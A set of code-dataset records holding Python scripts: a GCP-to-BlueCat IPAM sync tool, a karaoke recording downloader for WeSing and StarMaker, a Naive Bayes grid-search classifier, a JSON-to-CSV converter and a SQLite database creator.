"dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "h2o.import_file", "line_number": 21, "usage_type": "call"}, {"api_name": "tests.pyunit_utils.locate", "line_number": 21, "usage_type": "call"}, {"api_name": "tests.pyunit_utils", "line_number": 21, "usage_type": "name"}, {"api_name": "h2o.estimators.H2OTargetEncoderEstimator", "line_number": 26, "usage_type": "call"}, {"api_name": "h2o.estimators.H2OTargetEncoderEstimator", "line_number": 40, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "h2o.estimators.H2OGradientBoostingEstimator", "line_number": 66, "usage_type": "call"}, {"api_name": "tests.pyunit_utils.standalone_test", "line_number": 85, "usage_type": "call"}, {"api_name": "tests.pyunit_utils", "line_number": 85, "usage_type": "name"}]}
+{"seq_id": "371734468", "text": "#!/usr/bin/env python3\n# Author: Brian Shorland - BlueCat Networks\n\nimport bamclient as BAM\nfrom datetime import datetime\nimport googleapiclient.discovery\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\nfrom google.oauth2 import service_account\nfrom configparser import ConfigParser\n\nparser = ConfigParser()\nparser.read('cloudatlas.conf')\n\nservice_account_json = parser.get('GOOGLE', 'service_account_json')\n\nsoap_client = BAM.bam_login()\nprops = \"\"\nif BAM.GetGCPDeviceTypeID(soap_client) == False:\n\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Adding Google Compute Platform DeviceTypes to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\tGCPDevType = BAM.AddDeviceType(soap_client,\"Google Cloud Platform\",props)\n\tGCPInstanceSubType = BAM.AddDeviceSubType(soap_client,GCPDevType,\"Google Compute Engine\",props)\nelse:\n\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Google Compute Platform DeviceTypes already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\tx = BAM.GetGCPDeviceTypeID(soap_client)\n\tGCPDevType = x\n\tGCPInstanceSubType = soap_client.service.getEntityByName(x, \"Google Compute Engine\", 'DeviceSubtype')['id']\nprint(\"\")\n\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Checking/Adding Device UDFS to BlueCat Address Manager ' + BAM.bcolours.ENDC )\nif not (BAM.GetDeviceUDF(soap_client,\"AvailabilityZone\")):\n\tBAM.AddUDF(soap_client,\"AvailabilityZone\",\"Availability Zone\")\nif not (BAM.GetDeviceUDF(soap_client,\"InstanceState\")):\n\tBAM.AddUDF(soap_client,\"InstanceState\",\"Instance State\")\nif not (BAM.GetDeviceUDF(soap_client,\"InstanceType\")):\n\tBAM.AddUDF(soap_client,\"InstanceType\",\"Instance Type\")\nif not (BAM.GetDeviceUDF(soap_client,\"IPv4PublicIP\")):\n\tBAM.AddUDF(soap_client,\"IPv4PublicIP\",\"IPv4 Public IP\")\nif not (BAM.GetDeviceUDF(soap_client,\"PrivateDNSName\")):\n\tBAM.AddUDF(soap_client,\"PrivateDNSName\",\"Private DNS Name\")\nif not (BAM.GetDeviceUDF(soap_client,\"PublicDNSName\")):\n\tBAM.AddUDF(soap_client,\"PublicDNSName\",\"Public DNS Name\")\nif not (BAM.GetDeviceUDF(soap_client,\"CloudAtlasSyncTime\")):\n\tBAM.AddUDF(soap_client,\"CloudAtlasSyncTime\",\"CloudAtlas Sync Time\")\n\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Alpha Code ' + BAM.bcolours.ENDC )\n\ncredentials = service_account.Credentials.from_service_account_file(service_account_json)\nservice = discovery.build('compute', 'v1', credentials=credentials)\n\n# Get the ProjectID from the Name, uses CRM\ncrm = discovery.build('cloudresourcemanager', 'v1', credentials=credentials)\nfilter = \"name=\\\"My First Project\\\"\"\nproject = crm.projects().list(filter=filter).execute()\na, *rest = project['projects']\nprint(\"GCP Project Name:\",a['name'])\nprint(\"GCP ProjectID:\",a['projectId'])\nprint(\"\")\nPROJECT_ID = str(a['projectId'])\nPROJECT_NAME = str(a['name'])\n\ndef list_instances(compute, project, zone):\n    result = compute.instances().list(project=project, zone=zone).execute()\n    return result['items'] if 'items' in result else None\n\ndef checkInstancesInZone(ZONE):\n\tcompute = googleapiclient.discovery.build('compute', 'v1', credentials=credentials)\n\tinstances = list_instances(compute, PROJECT_ID, ZONE)\n\n\tif (instances != None):\n\t\tfor instance in instances:\n\t\t\tprint('Instance name: ' + instance['name'] + \"\\nInstance ID: \"  + instance['id']  + '\\nZone: ' + ZONE + '\\nState: ' + instance['status'])\n\t\t\tmachine_type = \"\".join(str(instance['machineType']).split('/')[-1:])\n\t\t\tprint('Machine Type:',machine_type)\n\t\t\tnetwork_priv = instance['networkInterfaces']\n\t\t\tfor x in network_priv:\n\t\t\t\tprint(\"Private IP\",x['networkIP'])\n\n\t\t\t\t# Get subnet details, CIDR and GW\n\t\t\t\tsubnetwork = \"\".join(str(x['subnetwork']).split('/')[-1:])\n\t\t\t\tsregion = \"\".join(str(x['subnetwork']).split('/')[-3])\n\t\t\t\trequest = service.subnetworks().get(project=PROJECT_ID, region=sregion, subnetwork=subnetwork)\n\t\t\t\tresponse = request.execute()\n\t\t\t\tprint(\"Private Subnet CIDR:\",response['ipCidrRange'])\n\t\t\t\tprint(\"Private Subnet Gateway:\",response['gatewayAddress'])\n\t\t\t\tif 'hostname' in instance:\n\t\t\t\t\tprint(\"Custom FQDN:\",instance['hostname'])\n\t\t\t\t\thostname = instance['hostname']\n\t\t\t\telse:\n\t\t\t\t\thostname = \"\"\n\t\t\t\tinternal_dns = instance['name']+\".\"+ZONE+\".c.\" + PROJECT_ID + \".internal\"\n\t\t\t\tprint(\"Internal (Zonal) DNS Name:\",internal_dns)\n\t\t\t\ta, *rest = x['accessConfigs']\n\t\t\t\tif 'natIP' in a:\n\t\t\t\t\tprint (\"Public IP:\",a['natIP'])\n\t\t\t\t\tpublic_ip = a['natIP']\n\t\t\t\telse:\n\t\t\t\t\tpublic_ip = \"\"\n\n\t\t\tconfig = PROJECT_NAME + \" [\" +  ZONE + \"]\"\n\t\t\t# Check if Project/Region configuration in BAM already is present, if not add the Project/Region configuration\n\t\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\t\tif conf:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Project/Region Configuration already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\telse:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Project/Region Configuration not found, adding to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\t\tBAM.AddGCPConfiguration(soap_client,config)\n\n\t\t\t# Check if Network Block of VPC is already in the config in BAM, if not add the required Block\n\t\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\t\tblk = BAM.GetBlockV4(soap_client,conf.id,response['ipCidrRange'])\n\t\t\tif blk:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Project/Region Block already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\telse:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Adding Project/Region Network Block to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\t\t\tpid = str(conf['id'])\n\t\t\t\tprops=\"name=\" + response['ipCidrRange']\n\t\t\t\tblk = BAM.AddBlockV4(soap_client,pid,response['ipCidrRange'],props)\n\n\t\t\t# Check if Subnet of VNET is already in the Block in BAM, if not add the required Subnet\n\t\t\tblk = BAM.GetBlockV4(soap_client,conf.id,response['ipCidrRange'])\n\t\t\tsubn = BAM.GetNetworkV4(soap_client,blk.id,response['ipCidrRange'])\n\t\t\tif subn:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Project/Region Subnet already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\telse:\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Adding Project/Region Subnet to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\t\tprops=\"name=\" + response['ipCidrRange']\n\t\t\t\tBAM.AddNetworkV4(soap_client,blk.id,str(response['ipCidrRange']),props)\n\n\t\t\t# Check if Instance Device is already added, if not add the required device\n\t\t\tdev = BAM.GetDevice(soap_client,conf.id,instance['name'])\n\t\t\tif dev:\n\t\t\t\tnow = datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Google VM Device in BlueCat Address Manager, updating  ' + BAM.bcolours.ENDC )\n\t\t\t\tBAM.DelDevice(soap_client,conf.id,dev.id)\n\t\t\t\tprops=\"PrivateDNSName=\" + internal_dns+ '|' + \"PublicDNSName=\" + hostname + '|' + \"InstanceState=\"+instance['status'] + '|' + \"InstanceType=\"+machine_type + \"|\" + \"AvailabilityZone=\" + ZONE + \"|\" + \"IPv4PublicIP=\" + public_ip + \"|CloudAtlasSyncTime=\" + now\n\t\t\t\tdevice = soap_client.service.addDevice(str(conf['id']),instance['name'],GCPDevType,GCPInstanceSubType,x['networkIP'],\"\",props)\n\n\t\t\telse:\n\t\t\t\tnow = datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n\t\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Google VM Device not found, adding to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\t\tprops=\"PrivateDNSName=\" + internal_dns+ '|' + \"PublicDNSName=\" + hostname + '|' + \"InstanceState=\"+instance['status'] + '|' + \"InstanceType=\"+machine_type + \"|\" + \"AvailabilityZone=\" + ZONE + \"|\" + \"IPv4PublicIP=\" + public_ip + \"|CloudAtlasSyncTime=\" + now\n\t\t\t\tdevice = soap_client.service.addDevice(str(conf['id']),instance['name'],GCPDevType,GCPInstanceSubType,x['networkIP'],\"\",props)\n\t\t\tprint(\"\\n\")\n\ndef main():\n\t# Given a ProjectID search through all the service zones for instances\n    request = service.zones().list(project=PROJECT_ID)\n    while request is not None:\n        response = request.execute()\n        for zone in response['items']:\n            checkInstancesInZone(zone['description'])\n        request = service.zones().list_next(previous_request=request, previous_response=response)\n\nmain()\n", "sub_path": "cloudatlas_google.py", "file_name": "cloudatlas_google.py", "file_ext": "py", "file_size_in_byte": 8340, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "configparser.ConfigParser", "line_number": 12, "usage_type": "call"}, {"api_name": "bamclient.bam_login", "line_number": 17, "usage_type": "call"}, {"api_name": "bamclient.GetGCPDeviceTypeID", "line_number": 19, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 20, "usage_type": "attribute"}, {"api_name": "bamclient.AddDeviceType", "line_number": 21, "usage_type": "call"}, {"api_name": "bamclient.AddDeviceSubType", "line_number": 22, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 24, "usage_type": "attribute"}, {"api_name": "bamclient.GetGCPDeviceTypeID", "line_number": 25, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 30, "usage_type": "attribute"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 31, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 32, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 33, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 34, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 35, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 36, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 37, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 38, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 39, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 40, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 41, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 42, "usage_type": "call"}, {"api_name": "bamclient.GetDeviceUDF", "line_number": 43, "usage_type": "call"}, {"api_name": "bamclient.AddUDF", "line_number": 44, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 46, "usage_type": "attribute"}, {"api_name": "google.oauth2.service_account.Credentials.from_service_account_file", "line_number": 48, "usage_type": "call"}, {"api_name": "google.oauth2.service_account.Credentials", "line_number": 48, "usage_type": "attribute"}, {"api_name": "google.oauth2.service_account", "line_number": 48, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.build", "line_number": 49, "usage_type": "call"}, {"api_name": "googleapiclient.discovery", "line_number": 49, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.build", "line_number": 52, "usage_type": "call"}, {"api_name": "googleapiclient.discovery", "line_number": 52, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.discovery.build", "line_number": 67, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.discovery", "line_number": 67, "usage_type": "attribute"}, {"api_name": "googleapiclient.discovery", "line_number": 67, "usage_type": "name"}, {"api_name": "bamclient.GetConfiguration", "line_number": 102, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 104, "usage_type": "attribute"}, {"api_name": "bamclient.bcolours", "line_number": 106, "usage_type": "attribute"}, {"api_name": "bamclient.AddGCPConfiguration", "line_number": 107, "usage_type": "call"}, {"api_name": "bamclient.GetConfiguration", "line_number": 110, "usage_type": "call"}, {"api_name": "bamclient.GetBlockV4", "line_number": 111, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 113, "usage_type": "attribute"}, {"api_name": "bamclient.bcolours", "line_number": 115, "usage_type": "attribute"}, {"api_name": "bamclient.GetConfiguration", "line_number": 116, "usage_type": "call"}, {"api_name": "bamclient.AddBlockV4", "line_number": 119, "usage_type": "call"}, {"api_name": "bamclient.GetBlockV4", "line_number": 122, "usage_type": "call"}, {"api_name": "bamclient.GetNetworkV4", "line_number": 123, "usage_type": "call"}, {"api_name": "bamclient.bcolours", "line_number": 125, "usage_type": "attribute"}, {"api_name": "bamclient.bcolours", "line_number": 127, "usage_type": "attribute"}, {"api_name": "bamclient.AddNetworkV4", "line_number": 129, "usage_type": "call"}, {"api_name": "bamclient.GetDevice", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 134, "usage_type": "name"}, {"api_name": "bamclient.bcolours", "line_number": 135, "usage_type": "attribute"}, {"api_name": "bamclient.DelDevice", "line_number": 136, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 141, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 141, "usage_type": "name"}, {"api_name": "bamclient.bcolours", "line_number": 142, "usage_type": "attribute"}]}
+{"seq_id": "424868814", "text": "import json\r\nimport os\r\nimport shutil\r\nimport urllib.request\r\nfrom pathlib import Path\r\n\r\nhome = str(Path.home())\r\nroot = os.path.join(home, \"Desktop\")\r\n\r\n\r\ndef get_wesing(url):\r\n    with urllib.request.urlopen(url) as resp:\r\n        data = resp.read().decode('utf-8')\r\n    _, _1, part = data.partition('\"playurl\":\"')\r\n    media_url, _, _1 = part.partition('\"')\r\n    if not media_url:\r\n        _, _1, part = data.partition('\"playurl_video\":\"')\r\n        media_url, _, _1 = part.partition('\"')\r\n\r\n    _, _1, part = data.partition('\"song_name\":\"')\r\n    title, _, _1 = part.partition('\"')\r\n\r\n    _, _1, part = data.partition('\"cover\":\"')\r\n    img_url, _, _1 = part.partition('\"')\r\n\r\n    # For Quan Ming K Ge only:\r\n    # `bsy` is too slow and always fail, manually replace to `ws`.\r\n    media_url = media_url.replace('bsy.stream.kg.qq.com', 'ws.stream.kg.qq.com')\r\n\r\n    # For Quan Ming K Ge only:\r\n    # Replace invalid characters for folder name.\r\n    title = title.replace(':', '-')\r\n\r\n    return title, media_url, img_url\r\n\r\n\r\ndef get_starmaker(url):\r\n    _, _1, part = url.partition('recording_id=')\r\n    recording_id, _, _1 = part.partition('&')\r\n\r\n    detail_url = f'https://m.starmakerstudios.com/api/recordings/{recording_id}/share/detail'\r\n    with urllib.request.urlopen(detail_url) as resp:\r\n        data = json.loads(resp.read().decode('utf-8'))\r\n\r\n    title = data['song']['title']\r\n    media_url = data['recording']['media_url']\r\n    img_url = data['recording']['cover_image']\r\n    return title, media_url, img_url\r\n\r\n\r\ndef download_all(title, media_url, img_url):\r\n    print([title, media_url, img_url])\r\n\r\n    def create_folder():\r\n        for i in range(100):\r\n            folder_name = title if i == 0 else f'{title}_{i}'\r\n            save_to = os.path.join(root, folder_name)\r\n            if not os.path.exists(save_to):\r\n                os.makedirs(save_to)\r\n                return save_to\r\n        raise Exception('failed to create folder after 100 loop')\r\n\r\n    def download_to(source_url, target_path):\r\n        with urllib.request.urlopen(source_url) as response, open(target_path, 'wb') as out_file:\r\n            shutil.copyfileobj(response, out_file)\r\n\r\n    save_to_dir = create_folder()\r\n    download_to(media_url, os.path.join(save_to_dir, 'master.mp4'))\r\n    try:\r\n        download_to(img_url, os.path.join(save_to_dir, 'source.jfif'))\r\n    except:\r\n        # Try 2 times\r\n        download_to(img_url, os.path.join(save_to_dir, 'source.jfif'))\r\n\r\n\r\ndef start():\r\n    url_file = os.path.join(root, 'url.txt')\r\n    with open(url_file, mode='r', encoding='utf-8') as f:\r\n        for url in f:\r\n            url = url.strip()\r\n            print('parsing url - ' + url)\r\n            if 'wesingapp' in url:\r\n                obj = get_wesing(url)\r\n            elif 'starmaker' in url:\r\n                obj = get_starmaker(url)\r\n            elif 'kg.qq.com' in url:\r\n                obj = get_wesing(url)\r\n            elif 'kg2.qq.com' in url:\r\n                obj = get_wesing(url)\r\n            elif 'kg3.qq.com' in url:\r\n                obj = get_wesing(url)\r\n            else:\r\n                raise Exception('unsupported url ' + url)\r\n\r\n            download_all(*obj)\r\n\r\n\r\nstart()\r\n", "sub_path": "dl.py", "file_name": "dl.py", "file_ext": "py", "file_size_in_byte": 3204, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pathlib.Path.home", "line_number": 7, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "urllib.request.request.urlopen", "line_number": 12, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 12, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 12, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 42, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 42, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 42, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 59, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 64, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 64, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 64, "usage_type": "name"}, {"api_name": "shutil.copyfileobj", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}]}
+{"seq_id": "238107486", "text": "from sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics import classification_report\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.model_selection import train_test_split\nfrom operator import itemgetter\nfrom sklearn import svm\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nimport re\nimport numpy as np\nfrom pdb import set_trace as st\nimport random\nfrom time import time\nfrom sklearn.externals import joblib\nfrom sklearn.decomposition import TruncatedSVD\n\nclass Iterador(object):\n    \"\"\"\n    Iterable: on each iteration, return bag-of-words vectors,\n    one vector for each document.\n \n    Process one document at a time using generators, never\n    load the entire corpus into RAM.\n \n    \"\"\"\n    def __init__(self, archivo, indices):\n        self.archivo = archivo\n        self.indices = indices\n \n    def __iter__(self):\n        \"\"\"\n        Again, __iter__ is a generator => TxtSubdirsCorpus is a streamed iterable.\n        \"\"\"\n        for scaffold in self.generador():\n            yield scaffold \n\n    def generador(self):\n        with open(self.archivo) as f:\n            for n, line in enumerate(f):\n                if n in self.indices:\n                    yield re.sub('N','',line.split(\"\\t\")[2])\n\ncromosoma = Pipeline([\n    ('countV', CountVectorizer(analyzer='char', lowercase=False)), \n    ('clf', MultinomialNB())\n])\n\nparameters = {\n    'countV__ngram_range': ((2, 3), (2, 4), (2, 5), (3, 4), (3,5)),\n}\n\n\nfor i in range(1, 2):\n    vect = []\n    Y = []\n    X = []\n\n    inputfa = 'Archivos-Join100/joinP'+str(i)+'.fa'\n    out_model = 'Modelos-Entrenados-NBayes/trained_model_joinP'+str(i)+'_bayes.pkl'\n    out_tfidf = 'Vocab-CountVs-NBayes/countV_model_joinP'+str(i)+'_bayes.pkl'\n    resultados_GRID = 'ResultadosGRID-NBayes/resultadosGRID_joinP'+str(i)+'_bayes.txt'\n\n    with open(inputfa) as file:\n        for line in file:\n            Y.append(line.split('\\t')[0])\n            \n    indices = list(range(len(Y)))\n    in_train, in_test = train_test_split(indices, train_size = 0.7)\n    getter_train = itemgetter(*in_train)\n\n    it = Iterador(inputfa, in_train)\n\n    grid = GridSearchCV(cromosoma, cv=3,  n_jobs=15, error_score=0.0 ,param_grid=parameters, verbose=100)\n\n    resGRID = open(resultados_GRID, 'w')\n    resGRID.flush()\n\n    resGRID.write(\"Performing grid search...\")\n    resGRID.write(\"\\npipeline: cromosoma\")\n    resGRID.write(\"\\nparameters: \" + str(parameters))\n    t0 = time()\n    grid.fit(list(it), getter_train(Y))\n    resGRID.write(\"\\ndone in %0.3fs\" % (time() - t0))\n    resGRID.write('\\n')\n\n    resGRID.write(\"\\nBest score: %0.3f\" % grid.best_score_)\n    resGRID.write(\"\\nBest parameters set:\")\n    best_parameters = grid.best_estimator_.get_params()\n    for param_name in best_parameters:\n        resGRID.write(\"\\n\\t%s: %r\" % (param_name, best_parameters[param_name]))\n\n    getter_test =  itemgetter(*in_test)\n    it_test = Iterador(inputfa, in_test)\n\n    predicted = grid.predict(it_test)\n    # Luego, guardamos el modelo\n    joblib.dump(grid.best_estimator_.named_steps['clf'], out_model, compress = 1)\n    joblib.dump(grid.best_estimator_.named_steps['countV'], out_tfidf, compress = 1)\n\n    resGRID.write(\"\\nClassification report:\\n\")\n    resGRID.write(classification_report(getter_test(Y), predicted))\n\n    resGRID.write(\"\\nModel properties:\\n\")\n    #grid.best_estimator_.named_steps['clf'].support_\n    resGRID.write(\"Matriz de Probabilidades:  %s\" % np.array2string(grid.best_estimator_.named_steps['clf'].feature_log_prob_))\n    # Y así imprime los parametros del modelo en el archivo de resultados\n    # ...\n    resGRID.close()\n", "sub_path": "conjunto_bayes_clasificador.py", "file_name": "conjunto_bayes_clasificador.py", "file_ext": "py", "file_size_in_byte": 3752, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.sub", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.MultinomialNB", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 70, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 75, "usage_type": "call"}, {"api_name": "time.time", "line_number": 83, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 99, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 100, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 100, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array2string", "line_number": 107, "usage_type": "call"}]}
+{"seq_id": "108727832", "text": "# -*- coding: utf-8 -*-\nimport os\nimport json \nimport pandas as pd \nfrom pandas.io.json import json_normalize #package for flattening json in pandas df\n\n\n# 默认按照回复换行，返回排序过后的数据\ndef json2csv( filename, type=1, ordered=True):\n\n    filepath = os.path.abspath('.\\data')\n    file =  filepath + '\\\\' + filename\n    #load json object\n    with open( file, encoding='utf8') as f:\n        d = json.load(f)\n\n    #lets put the data into a pandas df\n    #clicking on raw_nyc_phil.json under \"Input Files\"\n    #tells us parent node is 'programs'\n    df = json_normalize(d, 'messages', ['article_id','article_title','board','author','date','content','ip',['message_count','all'],['message_count','count'],['message_count','push'],['message_count','boo'],['message_count','neutral'],], record_prefix='messages.',errors='ignore')\n\n    #pd.set_option('max_columns',200)\n    # print(df.reindex(columns=['article_id','article_title','board','author','date','content','ip','message_count.all','message_count.count','message_count.push','message_count.boo','message_count.neutral','messages.push_content','messages.push_tag','messages.push_userid','messages.push_ipdatetime']).head(20))\n    #print(df)\n\n\n    if ordered:\n        ordered_df = df.reindex(columns=['article_id','article_title','board','author','date','content','ip','message_count.all','message_count.count','message_count.push','message_count.boo','message_count.neutral','messages.push_content','messages.push_tag','messages.push_userid','messages.push_ipdatetime'])\n        ordered_df.to_csv( file + '.ordered.csv', encoding='utf_8_sig')\n        print('Json has been converted, ordered and saved!')\n        return(ordered_df)\n    else:\n        df.to_csv( file + '.normlized.csv', encoding='utf_8_sig')\n        print('Json has been converted and saved but not ordered!')\n        return(df)\n    return()\n\nif __name__ == '__main__':\n    # For testing\n    json2csv('Gossiping\\Gossiping_page_1_2.json', 1 ,True)", "sub_path": "utils/json_norm.py", "file_name": "json_norm.py", "file_ext": "py", "file_size_in_byte": 1984, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.io.json.json_normalize", "line_number": 20, "usage_type": "call"}]}
+{"seq_id": "4705010", "text": "# use this function to create a database in the specified location,\n# after doesdbexist is ran\n\n''' \n:param fpath def: location of new database to be created; can be null, so that database\nis saved in current folder where .py function is called from\n:param fname def: name of new database\n\n'''\n\nimport sqlite3\n\ndef createDB(fname, fpath = None):\n\t# [LATER] want to implement a path so database can be created in new\n\t# location if desired\n\tconn = sqlite3.connect(\"{}.db\".format(fname))\n\tconn.commit()\n\tconn.close()", "sub_path": "createDB.py", "file_name": "createDB.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlite3.connect", "line_number": 16, "usage_type": "call"}]}
